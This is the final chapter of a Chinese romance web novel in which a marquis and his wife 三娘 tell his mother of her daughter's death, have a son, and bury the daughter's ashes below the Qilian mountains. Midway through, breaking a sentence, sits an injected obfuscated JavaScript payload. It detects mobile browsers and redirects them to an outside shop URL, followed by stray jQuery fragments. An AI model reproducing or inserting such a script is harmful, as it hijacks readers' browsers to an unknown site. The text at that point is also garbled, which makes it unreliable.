110. 尾声

作品:《清冷权臣夺君妻

    赫连桀死后,北漠军群龙无首,溃不成军,仓皇北逃。


    这一战结束,至少十年内再无战事发生,众人松了一口气。


    三娘动了胎气,一直卧床静养到四月。天气稍微暖和了些,贺兰徵安排好一切事宜,方才从忻州启程返回洛阳。


    回洛阳途中,贺兰徵总是一副心事重重的模样。


    到太原下榻这日,三娘忍不住问了他。


    “有什么话就跟我说说,别一个人憋在心里。”她柔声道,“我们一起想法子解决。”


    贺兰徵抚着她的手,若无其事地摇了摇头:“别多想,早些歇息。”


    见他不肯说,三娘只好道:“你不说,那我就自己猜了,总会猜到有猜到的时侯。”


    他依旧保持沉默,将她揽到怀里。


    “是放心不下雁门关的事情吗?”她一边说一边观察他的反应,“还是觉得太累了,想发泄一下情绪?”


    一连说了几个问题,全都被他摇头否定。


    “你干脆直接告诉我了,我这样猜得猜到猴年马月啊……”


    她丧气地垂下头来,目光落在自己微微隆起的腹部上,忽然灵光一闪。


    “哎哟——”三娘捂着肚子,喊道,“好痛,好痛……”


    贺兰徵一下慌了神,急忙起身:“我去找大夫。”


    “不用,不用,缓一会就好了。”三娘拉住他的袖子,忍着笑。


    她都装得如此明显了,难不成他当真一点也看不出来。


    “大夫都说叫你不要多想,劳神伤身,容易动胎气……”贺兰徵心疼得不行。


    “既然你都知道,就不能多体谅我一点。”三娘牵着他的手放在自己的肚子上,“你告诉我了,我自然也就不会再想了。”


    贺兰徵瞬间恍然大悟,更是气不打一处来。


    “你啊……”


    “你就同我说说嘛。”


    三娘靠他怀里,声音软绵绵地撒娇。


    有点坏主意全用在他身上了。贺兰徵哭笑不得,真是拿她一点办法都没有。


    贺兰徵搂着她,沉默半晌:“明玉的事情,我不知该如何告诉母亲?”


    闻言,她心下一顿,皱起眉头。


    太夫人身子一向不好,怕是承受不起这丧女之痛。


    更何况明玉是她最疼爱的孩子,白发人送黑发人,这消息怎么开得了口?


    “你不是已经派人传信回去了吗?”三娘问道。


    “信是给明月的,让她提前有个心里准备。”贺兰徵揉了揉眉心,一脸疲惫,“让她先不要将此事告诉母亲。”


    她亦难住了:“可是一直瞒着不说也不大好,总有一日她也会从旁人口中得知,还不如你亲自告诉她。拖得越久只会越糟糕。”


    “可是前两日明月回信说,母亲似心有所感,卧床三日吃不下东西,我怕在此时告诉她,她会……”


    “我知道。”


    一年时间里,委以重任的好友、亲人接连离世,先后而去,他身心俱疲。此时若再失去母亲,他只怕是承受不起如此大的打击。


    她又何尝不是,家破人亡虽说已经过去三年,可这三年里她丧失了所有的悲痛记忆。


    原以为就这样无忧无虑地好好生活下去,可记忆重新浮现,再一次如累击般打在身上。


    那段日子,她也不知道自己是如何挺过来的。


    思及此处,三娘不由地感叹,幸好还有他一直陪在自己身边。


    那一刻,贺兰徵的身份已经超脱出丈夫的身份,更像是兄长,耐心地抚慰着她心里的伤痛。


    她努力稳住心神,握紧他的手:“不如等回了洛阳,先看看母亲的身体状况,再决定要不要告诉她。”


    其实她心中有预感,太夫人多少已经猜到了,只是不敢确信。


    母子连心,女儿出事了,做母亲的怎会毫无感觉?


    “瞒是肯定瞒不了多久的,眼下也只能见机行事。”


    贺兰徵忽然在某一瞬,想明白了许多事情。


    这偌大的世间,最终都是要一个人顶着风,冒着雨,独自走到最后。


    期间会遇到很多人,产生羁绊,而后分别,自己一个人继续往前走。


    “我会一直陪着你的。”三娘坚定道。


    他点了点头,心中思绪万千。


    真的无法想象,这些年,她是如何一个人走过来的。


    遇到自己后,心甘情愿的选择留下,陪他一起走下去。


    明月皎皎,前路漫漫。


    担心三娘再次动了胎气,这一路走得很慢,足足走了一个月才回到洛阳。


    贺兰薇收到消息后,就带着孩子搬回府中陪伴和照料太夫人。


    不出所料,刚一见面,贺兰薇便着急道:“你们总算是回来了,母亲这几日一直叫我派人去河东询问关于明玉的消息,我都不知道怎么说了。”


    看见连一向沉稳的贺兰薇都乱了阵脚,两人心中顿感不妙。


    “母亲身子如何?”贺兰徵关心道。


    “府医说情况还算平稳,嘱切莫多思多虑,多加休息。”贺兰薇回答道,“可母亲心里惦记着明玉,怎么劝都没用。”


    他叹了口气,从朔风手中接过那个用黑布罩着地匣子,看了一眼三娘。


    “你先回房休息,我自己去同母亲说就好了。”


    三娘不放心地道:“算了吧,还是一道去吧。”


    她作为儿媳,身子再怎么欠安,一连半年都在外边,未能在侧侍奉,已然说不过去。


    今日回了府,于情于理都得去向婆母请安。


    贺兰薇见状,连忙劝道:“三娘,你如今怀着身子,还是先不要去了,母亲通明豁达,不会责怪你的。”


    “只是此事我也有责任,怎敢不去。”三娘坚持道,“就让我一并去吧,有什么事也可以一起分担。”


    兴许看在她有了孩子的份上,太夫人不会太过悲伤,三娘心里这样想着。


    贺兰徵应了声“好”:“既然如此,便一起去向母亲请安。”


    顿了顿,他又道:“不过,你什么都不要说,交给我自己来应付便是。”


    “嗯。”


    一番叮嘱后,三人一同来到太夫人房中。


    太夫人见到儿子手中捧着的覆着黑布的匣子,脸色骤变,好像明白了什么。


    只见贺兰徵双手捧着匣子,扑通一声跪在太夫人面前,悲痛的情绪瞬间涌上心头。


    三娘福了福身,垂着头不敢出声。


    “这……”


    太夫人眼含热泪,难以置信地环视着三人。


    “你们莫要告诉我,这……这是我……我的明玉。”


    她的女儿好好的一个人,怎么就突然变成了一个匣子。


    贺兰薇当即扑过去抱着太夫人,痛哭出声


    贺兰徵哽咽道:“儿子带妹妹向母亲问安。”


    得到证实的那一刻,太夫人如遭雷击,身子一软,当场昏倒在贺兰薇怀中。


    “母亲——”


    “婆母——”


    君侯府上上下下顿时乱作一团。


    经过府医的不懈努力,终于将太夫人从鬼门关拉回来。精神却大不如前,整日昏昏沉沉,时而清醒,时而糊涂。


    足足半个月,太夫人才勉强能开口说话,三娘也再次见到了她。


    这些日子,都是贺兰徵亲自侍奉左右,从未让她近身。


    三娘问安后,主动陪贺兰徵跪在地上,毕竟此事她也有过错。


    “起来吧……”


    太夫人憔悴地靠在床头,头发花白,整个人瘦得皮包骨。


    贺兰徵搀扶她起来,自己则继续跪着。


    “是儿子没有看管好妹妹,还请母亲责罚。”


    “不要让……我再说一遍。”太夫人闭了闭眼,疲惫至极。


    她很累很累,累到连


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368059|198559||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    说话的力气都没有,更别说去责怪任何一个人。


    贺兰徵见状,这才敢起身。


    “别忘了你身为君侯的责任。”太夫人缓缓道,“如今新帝继位,时局动荡不安,你理当肩负起维护天下太平的重担,切莫因儿女私情荒废自我,耽误了公事。”


    “儿子受教了。”他恭敬道,“还请母亲多加保重身体。”


    随即,太夫人挥手示意:“这些日子你也累了,早些回去歇息吧。”


    “多谢母亲挂怀。”


    三娘在一旁听着,感触颇多,心中愈发钦佩太夫人。


    这位母亲,如何在短短的时间内从丧女之痛中缓过来,提醒儿子以正事为紧?


    正想着,太夫人看向她,慈祥道:“三娘,你这得有五个月了吧。”


    她回过神来,温声道:“快了。”


    “你也不要大意和操劳过度,多注意休息。”太夫人嘱咐道。


    “三娘明白了,多谢婆母关心。”


    她赶紧接话。


    “都回去吧。”


    “是。”


    从房中出来,正逢午时,阳光和煦,院中百花齐放,一派生机勃勃之象。


    “三娘,我想好了孩子的名字。”


    “这么快吗?”她都还没来得及想。


    “煦。”贺兰徵侧过头,“可好?”


    “贺兰煦……”


    她喃喃念了几遍。


    同年初冬,雪后初霁,三娘平安诞下一子,取名贺兰煦。


    新生儿降生的喜悦,暂时冲掉了笼罩在君侯府的沉痛阴霾。


    次年春天,万物复苏。


    三娘这日恍惚听到了孩子的哭声,早早醒来。


    隔着床帐,看到贺兰徵披头散发,一动不动坐在窗前出神。


    窗子打开,春风拂面,吹进来几片花瓣,落在妆奁上。


    她起身来到身侧,拿起梳子为他梳发束冠。


    生产后,她落了许多头发,不及他发丝浓密,梳起来很空。


    梳着梳着,三娘忽然看到了他不知何时冒出来的白发,赶紧悄悄扯掉扔到一旁。


    “我还不到而立之年,便有了白发……”


    “都是会有的。”三娘打断他的话,“别担心。”


    又不知道忽然在感慨什么了,她煞是无奈地摇了摇头。


    他抬头看向窗外,自顾道:“是时候了。”


    三娘一愣,停下了手上的动作。


    六月,关外春意盎然,马兰花遍地盛开,而远处的祁连山山脉上却还覆着白雪。


    祁连山脚下,三娘抱着孩子,看着他在地上挖坑,身边的羊群悠闲地吃草,不时发出“咩咩”的叫声。


    “咩——”


    “咩——”


    她学着羊叫声,刚满半岁的贺兰煦被逗得咯咯笑个不停。


    挖好了坑,贺兰徵拿出装着妹妹骨灰地匣子放进去,再将裴衍的铠甲放置在上面,重新回填。


    正埋着,孩子忽然哭了,贺兰徵加快速度回填,在伸手擦了擦手,将孩子抱过去,抱在怀里轻轻摇晃。


    “阿煦,快看,那是什么?”他指着面前地祁连山问孩子。


    孩子竟然不哭了,顺着他指地方向看去,咿咿呀呀地叫着,笑容灿烂。


    “那是祁连山。”


    微风拂过草地,马兰花在风中摇曳,紫白色的花瓣像星星一样洒满草原。


    “阿煦知不知道,祁连山是什么?”


    “是归宿。”


    他自问自答。


    三娘笑了笑,看着贺兰徵抱着孩子追着羊群跑,忍不住喊了一声:“慢点,别摔着了。”


    远处白云翻涌,滚滚而来。


    又起风了。


    风从山那边吹来,拂过草地,拂过花海,拂过他们来时的路。


    风中似乎有人在笑,又似乎有人在唱歌,听不真切。


    ——完——